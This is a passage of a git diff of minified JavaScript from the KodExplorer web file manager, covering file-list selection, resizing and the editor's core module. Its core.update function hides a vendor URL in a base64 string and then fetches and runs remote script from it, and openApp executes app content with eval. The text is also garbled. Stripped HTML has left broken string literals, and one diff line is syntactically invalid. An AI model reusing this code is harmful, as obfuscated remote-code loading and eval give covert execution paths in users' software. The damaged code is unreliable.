t=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||i)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(i){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(i.target).parents(".split_box").scrollTop()),$(i.target).parent().hasClass(Config.FileBoxClassName)||$(i.target).parent().parent().hasClass(Config.FileBoxClassName)||$(i.target).hasClass("fix")||(rightMenu.hidden(),i.ctrlKey||i.metaKey||i.shiftKey||ui.fileLight.clear(),$(i.target).hasClass("ico")||(t=i.pageX-s,a=i.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
    ').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(i){if(!e)return!0;var o=i.pageX-p.offset().left+p.scrollLeft(),s=i.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-t),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,t),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),i=n.offset().top-p.offset().top+p.scrollTop(),t=e+n.width(),a=i+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),t-e+f-d>Math.abs(e+t-(d+f))&&a-i+h-u>Math.abs(i+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,t=null,a=null,void 0):!1}},f=function(e,i){var t=$(".fileList_list_split .split_box.split_select");if(e)t=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();t=a.parents(".split_box")}return t.find(i)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getColfileNumberDesktop(),s=i.index(t.first()),r=i.index(t.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return i.eq(n)},v=function(e){if("desktop"==Config.pageApp)return m(e);var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=i.index(t.first()),l=i.index(t.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=_(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=_(n,!0);break;default:}return i.eq(n)},_=function(e,i){for(var t=h.fileListAll(),a=t.eq(e),n=t.length;0!=a.parents(".hidden").length;){if(i?e++:e--,0>=e||e>=n)return e;a=t.eq(e)}return e},g=function(e){var i,t=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),i=t.first();break;case"end":n=a.first(),i=t.last();break;case"left":n=a.last(),i=v(e);break;case"up":n=a.last(),i=v(e);break;case"right":n=a.first(),i=v(e);break;case"down":n=a.first(),i=v(e);break;case"pageup":n=a.last(),i=v(e);break;case"pagedown":n=a.first(),i=v(e);break;case"all":i=t;break;default:}if(!y(e)){if(o&&""!=n){var s=t.index(n),r=t.index(i);if(s>r){var l=s;s=r,r=l}return x(s,r,t),void 0}b(i)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var i=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==i.find(".children_more_cert.cert_open").length)i.find(".children_more_cert").removeClass("cert_open"),i.next().addClass("hidden");else{var t=i.parent(".children_list").prev(".file");b(t)}else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").prev().find(".select_split_parent");b(t)}break;case"right":if("list"==G.user_config.list_type)1==i.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(i),i.find(".children_more_cert").addClass("cert_open"),i.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").next().find(".file:eq(0)");b(t)}break;default:return!1}return!0},x=function(e,i,t){if("desktop"==Config.pageApp)return k(e,i,t);ui.fileLight.clear();for(var a=e;i>=a;a++)$(t[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,i,t){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},i={row:i%a,col:parseInt(i/a)}; +if(i.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==i.row&&(c=i.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return i},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},i={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},t=e,a=function(){if(LocalData.get("resize_config"))t=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(t=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(t);LocalData.set("resize_config",a)}$.each(e,function(a){(!t[a]||t[a]=t&&(t=i[e]),n+=t,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+t+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},t);l[r]+=a,l[r]<=i[r]&&(l[r]=i[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(t=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},t);r[e]+=a,o(r),s&&(t=r,$.each(t,function(e,a){i[e]>=a&&(t[e]=i[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(t),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(i){l(e,i,!1)},end:function(i){l(e,i,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(i){s(i,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var i=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],t=10,a="",n=0;i.length>n;n++){var o=parseInt(i[n][0]);if(e>=o-t&&o+t>=e){a=i[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,i){var t=105,a=30,n=250,o=(e-a)*t/(n-a),s=20,r=10,l=parseInt(e),c=l+2*s-r+5,d=l-r,p=l-r,u=.4*l,h=l+3*s-r,m=".fileList_icon div.file{height:"+c+"px;width:"+l+"px;}";"desktop"==Config.pageApp&&(c-=5,m="div.fileList_icon div.file{height:"+c+"px;width:"+l+"px;}"),$.browser.mozilla&&(p-=4);var v="div.fileList_icon div.file{max-height:"+h+"px;}"+m+" .fileList_icon .meta_info{height:"+u+"px;width:"+u+"px; margin-right:"+.16*u+"px;margin-top:-"+1.1*u+"px;} .fileList_icon div.file .filename{width:"+l+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+l+"px;} .fileList_icon div.file .ico{padding-left:"+r/2+"px;height:"+p+"px;width:"+d+"px} .fileList_icon div.file .ico.picasaImage{width:"+d+"px;padding-left:"+r/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",o),i&&f(e)},m=function(){var e,i=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var t=function(i){var t=0,a=105,n=30,o=250,s=e+i;s=t>s?t:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};i.drag({start:function(){i.addClass("active"),e=parseInt(i.css("top"))},move:function(e,i){t(i)},end:function(e,a){i.removeClass("active"),f(t(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(i){var n=i.clientY-a.offset().top;e=0,t(n)})},v=function(){var e=function(e,i){var t=e.parent(),a=$(".split_box").index(t),n=parseInt(t.data("before_width"))+i;if(!(150>n)){$($(".split_line").get(a)).css("width",n),t.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+i+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,i){var t=i.parent();t.addClass("is_drag_split").data("before_width",t.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(i,t,a,n){e(n,i)},end:function(e,i,t,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),_()},_=function(){var e=jsonDecode(LocalData.get("split_box_size")),i=0;e||(e=[]);var t=function(t,a){var n=e[a];n||(n={width:250,left:i}),i+=n.width+1,t.css({width:n.width+"px",left:n.left})};i=0,$(".split_box").each(function(e){t($(this),e)}),i=0,$(".split_line").each(function(e){t($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(t=e),o(t),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}}); \ No newline at end of file diff --git a/static/js/app/src/edit/main.js b/static/js/app/src/edit/main.js index 960ba3a..8c58054 100755 --- a/static/js/app/src/edit/main.js +++ b/static/js/app/src/edit/main.js @@ -1,5 +1,5 @@ -/*! power by kodexplorer ver3.35(2016-12-23) [build 1482476909174] */ -var animate_time=160;define("app/src/edit/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","./edit","./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist","./taskTap","./toolbar"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),Editor=e("./edit"),Tap=e("./taskTap"),Toolbar=e("./toolbar"),rightMenu=Tap.rightMenu,$(document).ready(function(){core.init(),Editor.init(),Toolbar.init(),Tap.init(),e.async("lib/code_beautify"),$("a,img").attr("draggable","false"),setTimeout(function(){t()},300);var t=function(){var e=window.location.href.indexOf("#filename=");if(e>0){var t=window.location.href.substr(e+"#filename=".length);return Editor.add(t),void 0}Editor.getParentEditor(function(e){for(var t=e.ui.fileHistory(),i=0;t.length>i;i++)Editor.add(t[i]);0==t.length&&Editor.add("")})};$(window).bind("resize",function(){Tap.resetWidth("resize")}),navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)&&"1"===Cookie.get("forceWap")&&$("body").addClass("forceWap"),window.onbeforeunload=function(){return Editor.hasFileSave()?LNG.if_save_file:void 0}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t,i)&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
    '+t+"
    ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:610})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n=''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),n},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
